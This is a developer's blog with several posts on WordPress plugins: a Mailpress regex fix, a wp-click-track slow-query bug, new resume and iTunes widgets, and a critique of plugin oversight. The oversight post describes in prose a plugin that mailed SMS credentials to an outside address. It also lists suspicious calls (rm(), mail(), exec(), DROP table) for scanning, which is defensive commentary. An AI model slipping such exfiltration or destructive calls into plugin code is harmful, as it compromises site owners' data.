Made of Everything You're Not

A couple weeks ago I received an email from a client of mine about a bug one of their clients was having using the Mailpress WordPress plugin and wanting to know if I could help. They’re an agency and I always want to make them happy so, even though I didn’t write Mailpress, I decided to dive in a see what was up. Plus, it’s always fun to contribute to open source projects and to get paid to do it is always a win-win.

Mailpress Email Validation Bug

Before getting into the bug I just want to say that I didn’t want to post it in this way; ideally there would be channels available to submit issues but Mailpress doesn’t exactly make that easy. Their site, while having links to the expected destinations like Community and Submitting a patch, doesn’t appear to be finished and those sections are essentially empty at the moment.  The information to put this information out there very well might be in the site but, frankly, the thought of writing this post was less painful than digging through the site looking for info. Plus, this isn’t a security issue at all so there’s that. Ass == Covered.

The issue was that the email validation was returning false even when an email was valid, specifically if the email wasn’t entirely lowercase. The problem with that, in case it’s not clear, is that an email address doesn’t have to be lower case (at least in the name portion). For example the below two emails are valid and, in fact, different:

eric@example.com
Eric@example.com

They look similar and it’s not really advisable to do email addresses in that format but people do it that way and, technically, it is allowed so not sure why Mailpress doesn’t.

Mailpress would throw an error on the second email which was pissing of my client’s client and my client (sigh…). The fix is pretty stratightford and easy; just replace the regular expression in Mailpress with the working one I cribbed from Zaheer.

File: “/wp-content/plugins/mailpress/mp-admin/js/write.js”

219

is_email : function(m) { var pattern = /^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,4})$/; return pattern.test(m); },

With:

219

is_email : function(m) { var pattern = /^[a-zA-Z0-9._-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,4}$/; return pattern.test(m); },

Hopefully, the issue doesn’t go deeper than the javascript validation but the above does allow for a working email validation script. Now we just need Mailpress to update their wonderful plugin with the fix…

Dreamhost is slandering me! They think I suck and have no problem telling people as much. Seriously; I write bad code by them. How do I know? Because Chris Duke over at AppModo told me so. Problem is, Dreamhost was 100% right. Yup; I fucked up.

Wp-Click-Track 0.7.1

On Monday I got an email from Chris asking for some help with one of the WordPress plugins I wrote; wp-click-track. Chris was cool enough to let me post the message he received from Dreamhost:

Hello,

I’m writing you about your database “appmodo”, please write me back as soon as possible.  There seems to be a plugin you are running that is poorly coded (missing table joins) and this 1300+ second query that it is running is causing high server load spikes. If this plugin is not fixed, or disabled, and it causes server problems, we may need to disable the wp_tracking_clicks and wp_tracking_links tables.  You can write me at justin@dreamhost.com.

The problem queries:

# Query_time: 2181  Lock_time: 1115  Rows_sent: 1  Rows_examined: 38703 use appmodo;

SELECT date_format(click_date,"%Y-%m-%d") AS first_click,
date_format(click_date,"%j") AS day_of_year FROM wp_tracking_clicks tc,
wp_tracking_links tl WHERE tc.click_id != '0'  GROUP BY first_click ORDER
BY first_click DESC LIMIT 1;

# Query_time: 1995  Lock_time: 924  Rows_sent: 1  Rows_examined: 38703 use appmodo;

SELECT date_format(click_date,"%Y-%m-%d") AS first_click,
date_format(click_date,"%j") AS day_of_year FROM wp_tracking_clicks tc,
wp_tracking_links tl WHERE tc.click_id != '0'  GROUP BY first_click ORDER
BY first_click DESC LIMIT 1;

# Query_time: 1387  Lock_time: 309  Rows_sent: 1  Rows_examined: 38703 use appmodo;

SELECT date_format(click_date,"%Y-%m-%d") AS first_click,
date_format(click_date,"%j") AS day_of_year FROM wp_tracking_clicks tc,
wp_tracking_links tl WHERE tc.click_id != '0'  GROUP BY first_click ORDER
BY first_click DESC LIMIT 1;

# Query_time: 2016  Lock_time: 930  Rows_sent: 1  Rows_examined: 38703 use appmodo;

SELECT date_format(click_date,"%Y-%m-%d") AS first_click,
date_format(click_date,"%j") AS day_of_year FROM wp_tracking_clicks tc,
wp_tracking_links tl WHERE tc.click_id != '0'  GROUP BY first_click ORDER
BY first_click DESC LIMIT 1;

Thanks!
Justin K

Justin did a nice job highlighting what the issue was; I didn’t join the tables together so it would take a really long time to complete the scans if there were a lot of rows in the tables. Another reason to always develop with large data sets; something I obviously didn’t do with wp-click-track.

Your application is useful and popular. Your users love it. Your users love you. But over the next week, something curious happens. As people use the application, it gets progressively slower and slower. Soon, the complaints start filtering in. Within a few weeks, the app is well-neigh unusable due to all the insufferable delays it subjects users to– and your users turn on you.

Anyway, there was no excuse for that; this was shoddy on my part. The only explanation I have is poor quality on my part.

This particular bug affected the line chart on the admin dashboard. Ever wonder why that particular graph took forever to load? Yup, that’s why.

What’s funny, to me at least, was that I had already fixed this particular issue; I just hadn’t released it yet. This particular bug was planned to be released with 0.8 but 0.8 is taking longer to complete than I initially thought it would. So the bug fix languished and sat there. Unreleased.

So yeah, wp-click-track 0.7.1. It’s a good release to get.

Recently I had a problem; the plugin I was using to display my resume on my site mysteriously started causing WordPress to throw a weird error. Not to get too technical about it but the issue was a little more complicated than I was willing to deal with personally and I was prepared to resign myself to not having an online resume for a while. Sigh…

Fast forward about a month and the hoped for “fix” for the plugin never came. This left me with no alternative than to write my own. Yay!!

Looking at the plugin I was using, LinkedIn hResume, and noticing some of the flaws (like the plugin ONLY working with LinkedIn) I realized I could one-up the plugin and make something a lot more useful to more people by writing a new, custom resume plugin.

And that’s what we have here; WP-hResume. WP-hResume is a wordpress plugin that takes any hresume encoded webpage and allows you to place the content on your site. It’s been tested using both LinkedIn and Stack Overflow Careers as well as quite a few stand alone hresume pages. It works wonderfully.

Please take a look and let me know if you like

There’s been a nagging thought in the back of my head ever since I started writing WordPress plugins; the apparent lack of oversight in the WordPress plugin distribution system. I’m not trying to create hype around anything, I really do like WordPress, but I’m worried about the implications of zero oversight.

Lack of Oversight

It would be trivially simple to add an algorithm to a plugin to do all sorts of nefarious things. Off the top of my head I can imagine the following:

1. Send over a blogs comment data (email addresses) to an external server.
2. Add an admin account or change existing password
3. Hell, even deleting the entire database and files

Not a happy thought is it?

Attempting such a thing from a new plugin, with zero initial interest, would be nearly impossible because of the noise from all the other plugins. I say nearly impossible because there was recently a case of a plugin, called Pushit, which sent an email containing passwords to a gmail account upon execution. I first heard about this from a post on Mental Fruition asking the question “Are your WordPress plugins safe?“.

In doing some research on connecting WordPress to SMS gateways for some mobile action, I found what is either a careless remnant of testing or a malicious attempt to steal data from people using a WordPress plugin. Actually, make that carelessly malicious.

Interested in how the Pushit plugin for WordPress was working behind the scenes, I stumbled upon quite a shocker:
…

Yet towards the end of this send function, there’s a call to PHP’s mail function. It sends the following to smart.maxx@gmail.com:

• receiving number
• message sent
• username of SMS service account
• password of SMS service account
• the short number used
• the sender name/number to be displayed on the receiving mobile
• whether the SMS was sent OK

Apparently the authors of this plugin deem that this information is something that someone with the e-mail address smart.maxx@gmail.com should have about every SMS you, or your visitors, attempt to send using their plugin. Are you cool with that?

No, I’m not cool with that and I don’t know anyone who would be cool with that.

Thankfully, the Pushit plugin was only downloaded around 200 times before the issue was discovered. It should be noted that the developer of the plugin swears that it was an honest mistake; the mail() call was leftover code from testing apparently. This doesn’t invalidate the fear though.

No, the fear is from an existing, popular, plugin being compromised and distributed. This is the nightmare scenario.

Take wp-click-track (my most popular plugin) for example. To date, it’s been downloaded a couple thousand times and it’s been written up on a few sites. Were I evil, and my girlfriend says the juries still out on that , I could easily compromise quite a few sites with a simple update. Quite the scary thought isn’t it?

I know it would be nearly impossible to protect WordPress from malicious code because plugins are written in php and, because of that, have access to all the resources WordPress does.  PHP can’t be sandboxed so manual screening would be pretty much required.

The fact that there isn’t any manual screening to date is surprising though. WordPress is owned by Automattic, which has received at least 29.9 million dollars in funding so they have money. Just look at it: $29,900,000. That’s a lot of money so it’s pretty tough to understand the argument, if it was used, that there just isn’t money available for a person to provide manual oversight.

That is inexcusable.

I’m not saying it would be easy by any means, but if a company has 29, fucking, million dollars based on the back of a shoddy system there’s no reason why they couldn’t spend some money adding oversight to the plugin system.

As mentioned above, since WordPress plugins are written in raw php they have full access to all the functionality WordPress does so solving this issue programmatically would be nearly impossible. No, without using some sort of meta language, similar to Smarty, manual oversight is probably the only solution.

At the very least take 2-4 programmers, or, hell, one really talented programmer, and have them write a couple scripts to parse the plugin svn repository looking for suspicious function calls (rm(), mail(), exec(), etc) and algorithms (DROP table) and have the programmer intervene manually if anything suspicious is detected.

Heal thyself WordPress. Now.

Here’s just a quick announcement for a new WordPress widget I’ve written call iTunes Data. It’s a sidebar widget that displays snippets from an uploaded iTunes XML file.

iTunes

Currently, the data that gets displayed in the widget is randomized to pull the following:

1. Top Genres
2. Latest Additions
3. Top Artists
4. Top Albums

I’ve actually had the basics done for quite some time. It’s been on my site, plugging along, which has helped me to make sure it was efficient and worked properly.

The cool thing about building the widget was learning about PclZip, something I’ll be writing more about soon. For now though, let me just say it’s a really nice zip file management class that allows for easy work.

The widget couldn’t have been built without the iTunes XML parser for PHP library written by Robert A. Wallis

Anyway, until I build a proper page for the widget and get it into the WordPress Plugin Repository, you can download it below.

Download iTunes Data Widget